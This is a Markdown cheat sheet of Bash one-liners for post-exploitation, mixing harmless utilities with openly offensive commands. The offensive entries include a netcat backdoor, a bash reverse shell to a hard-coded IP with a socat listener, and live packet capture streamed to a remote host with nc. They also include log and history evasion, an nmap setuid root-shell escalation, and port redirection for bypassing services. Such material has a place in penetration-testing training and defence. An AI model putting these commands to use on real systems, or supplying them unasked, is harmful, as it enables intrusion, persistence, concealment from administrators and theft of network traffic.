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134 lines
2.7 KiB
Markdown
134 lines
2.7 KiB
Markdown
# Bash Commands for Post Exploitation
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One liners
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-----------
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**Resolve a list of hostnames to IP addresses**
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```bash
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awk < hostnames.txt '{ system("resolveip -s " $1) }'
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```
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**IIS 6.0 IP Disclosure**
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```bash
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curl -l -O -H "Host:" "example.com"
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```
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**Connect to SSL websites**
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```bash
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openssl s_client -connect example.com:443
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```
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**Convert base64 to text**
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```bash
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echo 'base64string' | base64 -d (Use -D on OSX)
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```
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**Decode ASCII shellcode**
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```bash
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echo -e *shellcode hex string* (may need to use -i to ignore bad chars)
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```
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**Enumerate DNS of Class C**
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```bash
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for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done
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```
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**SSH to box and hide from "who" and "lastlog"**
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```bash
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ssh andrew@10.1.1.1 -T /bin/bash
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```
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**Prevent terminal logging**
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```bash
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unset HISTFILE
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```
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**Add immutable attribute to a unix file**
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```bash
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chattr +i *file*
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```
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**SSH into host2 through host1**
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```bash
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ssh -o "proxycommand ssh -W host2 host1" host2
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```
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**Nmap setuid privesc**
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```bash
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nmap --script <(echo 'os.execute("/bin/sh")')
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nmap --interactive (for older versions)
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```
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**Transfer files through SSH**
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```bash
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ssh test@10.1.1.1 "cat test.tar.gz" > test.tar.gz
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```
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**Internal port redirect for bypassing services**
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```bash
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iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444
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```
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**Enable forwarding on the fly**
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```bash
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sysctl -w net.ipv4.ip_forward=1
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```
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**Kill with USR1 developer defined signal**
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```bash
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kill -USR1 <pid>
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```
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**Pull IP addresses from a file**
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```bash
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grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
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```
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**Sniff traffic with tcpdump and send to remote tcp socket**
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```bash
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tcpdump -w - | nc -v 8.8.8.8 9999
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```
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**Recursively search for text contained in files within a directory**
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```bash
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zcat -rf ./* | grep "searchstring"
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```
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**Recursively search for files with the specified word within them**
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*Submitted by cat on Google Fourms*
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```bash
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ls -a | find | grep -i "string"
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```
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**Netcat backdoor**
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*Does not work with most distro's default version of netcat (most do not define ENABLE_GAPING_SECURITY_HOLE which turns on -e)*
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```bash
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nc -e /bin/bash *remotecomputer* *port*
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OR
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nc -e /bin/bash -lp *port*
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```
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**View CPU Information**
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```bash
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cat /proc/cpuinfo
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```
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**Bash reverse shell** (@icleus)
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Works on all distrobutions where egress filtering is not in place / quiet open, use this to reverse connect to your lsitening host.
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```bash
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bash -i>& /dev/tcp/123.123.123.123/1234 0>&1 &
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```
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I find this best works with a socat listener due to the readline support.
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```bash
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socat readline TCP-LISTEN:1234
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```
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Credits
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-----------
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Credits to @TheAndrewBalls for posting some awsome one liners (the hidden SSH example and the DNS enumeration are both his contributions)
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